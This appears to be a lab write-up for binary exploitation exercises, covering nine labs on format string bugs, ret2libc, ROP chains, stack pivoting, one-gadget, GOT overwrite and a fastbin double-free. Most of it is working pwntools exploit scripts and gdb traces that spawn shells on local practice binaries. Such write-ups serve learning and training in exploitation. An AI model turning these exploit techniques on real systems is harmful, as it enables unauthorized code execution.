BoF
===
LAB0
---
```
root@Ubuntu : LAB0 ➤ file *
magic: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=9ade4f4f3af4a09ec1de6b3aa14f8530b3237403, for GNU/Linux 3.2.0, not stripped
magic.c: C source, ASCII text
root@Ubuntu : LAB0 ➤ ./magic
what's you name : %p.
Bye~ 0xffc08d60.
```
input have format string bug
in `0x8049232` if `eax=0xff` you will get a shell(`system("/bin/bash")`)
and `eax` value is come from `0x8049228`
its mean `eax = **(ebp + 8)`
```
[gdb]> r
Starting program: /home/lab/813_lab/LAB0/magic
what's you name : %p
Bye~ 0xffffdb10
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xf7fc3870 --> 0x0
EDX: 0x0
ESI: 0xf7fc2000 --> 0x1b1db0
EDI: 0xffffdb50 --> 0x0
EBP: 0xffffdb58 --> 0xffffdb88 --> 0x0
ESP: 0xffffdb10 --> 0xa7025 ('%p\n')
EIP: 0x804922d (<welcome+151>: cmp eax,0xff)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049225 <welcome+143>: add esp,0x10
0x8049228 <welcome+146>: mov eax,DWORD PTR [ebp+0x8]
0x804922b <welcome+149>: mov eax,DWORD PTR [eax]
=> 0x804922d <welcome+151>: cmp eax,0xff
0x8049232 <welcome+156>: jne 0x8049246 <welcome+176>
0x8049234 <welcome+158>: sub esp,0xc
0x8049237 <welcome+161>: lea eax,[ebx-0x1fdf]
0x804923d <welcome+167>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffdb10 --> 0xa7025 ('%p\n')
0004| 0xffffdb14 --> 0x0
0008| 0xffffdb18 --> 0x0
0012| 0xffffdb1c --> 0x0
0016| 0xffffdb20 --> 0x0
0020| 0xffffdb24 --> 0x0
0024| 0xffffdb28 --> 0x0
0028| 0xffffdb2c --> 0x0
[------------------------------------------------------------------------------]
```
we can use format string bug to overwrite address(%n)
and point of eax is in `ebp + 8` , it will on stack.
so when trigger format string bug, stack is this:
```
[gdb]> r
Starting program: /home/lab/813_lab/LAB0/magic
what's you name : %p
[----------------------------------registers-----------------------------------]
EAX: 0xffffdb10 --> 0xa7025 ('%p\n')
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0x0
EDX: 0xf7fc3870 --> 0x0
ESI: 0xf7fc2000 --> 0x1b1db0
EDI: 0xffffdb50 --> 0x0
EBP: 0xffffdb58 --> 0xffffdb88 --> 0x0
ESP: 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n')
EIP: 0x804920c (<welcome+118>: call 0x8049040 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049205 <welcome+111>: sub esp,0xc
0x8049208 <welcome+114>: lea eax,[ebp-0x48]
0x804920b <welcome+117>: push eax
=> 0x804920c <welcome+118>: call 0x8049040 <printf@plt>
0x8049211 <welcome+123>: add esp,0x10
0x8049214 <welcome+126>: mov eax,DWORD PTR [ebx-0x4]
0x804921a <welcome+132>: mov eax,DWORD PTR [eax]
0x804921c <welcome+134>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffdb10 --> 0xa7025 ('%p\n')
[------------------------------------stack-------------------------------------]
0000| 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n')
0004| 0xffffdb04 --> 0xffffdb10 --> 0xa7025 ('%p\n')
0008| 0xffffdb08 --> 0x40 ('@')
0012| 0xffffdb0c --> 0x80491a3 (<welcome+13>: add ebx,0x2e5d)
0016| 0xffffdb10 --> 0xa7025 ('%p\n')
0020| 0xffffdb14 --> 0x0
0024| 0xffffdb18 --> 0x0
0028| 0xffffdb1c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804920c in welcome ()
[gdb]> stack 100
0000| 0xffffdb00 --> 0xffffdb10 --> 0xa7025 ('%p\n')
0004| 0xffffdb04 --> 0xffffdb10 --> 0xa7025 ('%p\n')
0008| 0xffffdb08 --> 0x40 ('@')
0012| 0xffffdb0c --> 0x80491a3 (<welcome+13>: add ebx,0x2e5d)
0016| 0xffffdb10 --> 0xa7025 ('%p\n')
0020| 0xffffdb14 --> 0x0
0024| 0xffffdb18 --> 0x0
0028| 0xffffdb1c --> 0x0
0032| 0xffffdb20 --> 0x0
0036| 0xffffdb24 --> 0x0
0040| 0xffffdb28 --> 0x0
0044| 0xffffdb2c --> 0x0
0048| 0xffffdb30 --> 0x0
0052| 0xffffdb34 --> 0x0
0056| 0xffffdb38 --> 0x0
0060| 0xffffdb3c --> 0x0
0064| 0xffffdb40 --> 0x0
0068| 0xffffdb44 --> 0x0
0072| 0xffffdb48 --> 0x0
0076| 0xffffdb4c --> 0x0
0080| 0xffffdb50 --> 0x0
0084| 0xffffdb54 --> 0xf7fc2000 --> 0x1b1db0
0088| 0xffffdb58 --> 0xffffdb88 --> 0x0
0092| 0xffffdb5c --> 0x804927c (<main+46>: add esp,0x10)
0096| 0xffffdb60 --> 0xffffdb7c --> 0x0
0100| 0xffffdb64 --> 0x1
```
`ebp` is `0xffffdb58` and `ebp+8` is `0xffffdb60`
this point is eax!
and we can use `%24$p` to read this point
and use `%255c%24$n` to overwrite this point to `0xff`, and we will get a shell.
LAB1
---
just overwrite admin value to be 0xdeadbeef.
LAB2
---
need disable aslr
and use return to shellcode
LAB3
---
this challenge provide `system` and `/bin/sh`
```
root@Ubuntu : LAB3 ➤ nm admin3|grep sh
U fflush@@GLIBC_2.0
0804c030 D sh
root@Ubuntu : LAB3 ➤ objdump -S ./admin3|grep system
08049070 <system@plt>:
```
so just use this to do ret2libc
python -c "print 'a'*80+'\x70\x90\x04\x08zzzz\x30\xc0\x04\x08'"|./admin3
LAB4
---
ROP, leak libc base and return to main,
ROP again, to `system("/bin/sh")`
```python
from pwn import *
r = remote('127.0.0.1', 4444)
e = ELF("./admin4")
libc = ELF("./libc.so.6")
print r.recv()
payload = "a"*80
payload += p32(e.plt['puts'])
payload += p32(e.symbols['main'])
payload += p32(e.got['puts'])
r.sendline(payload)
r.recv(5)
libc_base = u32(r.recv(4)) - libc.symbols['puts']
log.info(hex(libc_base))
payload = "a"*80
payload += p32(libc_base + libc.symbols['system'])
payload += p32(0)
payload += p32(libc_base + 0x15ba0b)
r.sendline(payload)
#0015ba00: 746f 645f 6c2e 6300 2d63 002f 6269 6e2f tod_l.c.-c./bin/sh
r.interactive()
```
LAB5
---
only read 84 byte, and control eip is on 80byte,
so just one gadget can use,
we can control ebp, and jump to before read
then we will write second payload at ebp which we control a fake address
second payload need to leak libc, and return to main, because we need to call fflush,
and then call read to write third payload to after got
third payload will get shell (system("/bin/sh"))
```python
from pwn import *
r = remote("127.0.0.1", 45454)
e = ELF("./admin5")
libc = ELF("./libc.so.6")
print r.recv()
payload = "a"*76
payload += p32(0x0804af00)
payload += p32(0x80484fe)
r.send(payload)
sleep(0.1)
print r.recv()
pop_ebp_ret = 0x080485fb #: pop ebp ; ret
pop_1_ret = 0x08048371 #: pop ebx ; ret
pop_3_ret = 0x080485f9 #: pop esi ; pop edi ; pop ebp ; ret
leave_ret = 0x08048468 #: leave ; ret
payload = p32(e.plt['puts']) # start at 0x804afxx
payload += p32(pop_1_ret)
payload += p32(e.got['puts'])
payload += p32(e.symbols['main'])
payload += p32(e.plt['read'])
payload += p32(pop_3_ret)
payload += p32(0) + p32(0x804ae00) + p32(0x100)
payload += p32(pop_ebp_ret)
payload += p32(0x804adfc)
payload += p32(leave_ret)
log.info("size : " + str(len(payload)))
payload += "a"*(84 - len(payload) - 8)
payload += p32(0x804aeb0) # fake ebp
payload += p32(leave_ret) # eip
r.send(payload)
print r.recv(5)
libc_base = u32(r.recv(4)) - libc.symbols['puts']
log.info(hex(libc_base))
system = libc_base + libc.symbols['system']
sh = libc_base + 0x15ba0b
r.send("\n")
sleep(0.1)
payload = p32(system)
payload += p32(0)
payload += p32(sh)
r.sendline(payload)
r.interactive()
```
LAB6
---
same as LAB4, but try onegadget.
from pwn import *
```python
r = remote('127.0.0.1', 4444)
e = ELF("./admin4")
libc = ELF("./libc.so.6")
print r.recv()
payload = "a"*80
payload += p32(e.plt['puts'])
payload += p32(e.symbols['main'])
payload += p32(e.got['puts'])
r.sendline(payload)
r.recv(5)
libc_base = u32(r.recv(4)) - libc.symbols['puts']
log.info(hex(libc_base))
payload = "a"*80
payload += p32(libc_base+0x3ac5e)
payload += p32(0)*100
r.sendline(payload)
r.interactive()
```
LAB7
---
review source code can find a function:
```c
void wtf(){
puts("/bin/bash");
}
```
let it overflow and leak libc base
then call
`read(0, got['puts'], 4)`
then write system address to `got['puts']`
and we call wtf() -> system("/bin/bash")
```python
from pwn import *
r = remote('127.0.0.1', 44444)
e = ELF('./admin6')
lib = ELF('./libc.so.6')
print r.recv()
payload = "a"*80
payload += p32(e.plt['read'])
payload += p32(e.symbols['_start'])
payload += p32(0)
payload += p32(e.got['exit'])
payload += p32(4)
r.sendline(payload)
sleep(1)
r.send(p32(e.symbols['_start']))
print r.recv()
payload = "b"*80
payload += p32(e.plt['puts'])
payload += p32(e.symbols['_start'])
payload += p32(e.got['puts'])
r.sendline(payload)
print r.recv()
r.sendline(payload)
r.recv(5)
leak = u32(r.recv(4)) - lib.symbols['puts']
log.info(hex(leak))
print r.recv()
payload = "c"*80
payload += p32(e.plt['read'])
payload += p32(e.symbols['wtf'])
payload += p32(0)
payload += p32(e.got['puts'])
payload += p32(4)
r.sendline(payload)
sleep(1)
r.sendline(p32(leak + lib.symbols['system']))
r.interactive()
```
LAB8
---
a easy fastbin attack
1. create 3 note
2. delete note 0
3. delete note 1
4. delete note 0
5. create 1 note -> first 4 byte will add to fastbin
6. create 2 note
7. create 1 note -> this malloc address is write on step5
In step5. use can write a address after got table
and this address is near note address
so can use this note to overwrite note[0] address to some got.
final. use read note to leak libc
and use edite note to write system to some function.
```python
from pwn import *
def create(r, s):
r.recvuntil(">")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(s))
sleep(0.1)
def delete(r, idx):
r.recvuntil(">")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))
sleep(0.1)
r = remote("127.0.0.1", 44444)
create(r, "0")
create(r, "1")
create(r, "2")
for i in xrange(60):
create(r, i)
delete(r, "0")
delete(r, "1")
delete(r, "0")
create(r, p32(0x804a044))
create(r, "4444")
create(r, "5555")
create(r, "a"*(5*4)+p32(0x804a030))
r.recvuntil(">")
r.sendline("2")
r.recvuntil(":")
r.sendline("0")
r.recvuntil("[0] : ")
libc = ELF("./LAB8/libc.so.6")
libc_base = u32(r.recv(4)) - libc.symbols["atoi"]
log.info("libc : " + str(hex(libc_base)))
system = libc_base + libc.symbols["system"]
r.recvuntil(">")
r.sendline("3")
r.recvuntil(":")
r.sendline("0")
r.recvuntil(":")
r.sendline(p32(system))
r.recvuntil(">")
r.sendline("sh")
r.interactive()
r.recvuntil(">")
r.sendline("5")
```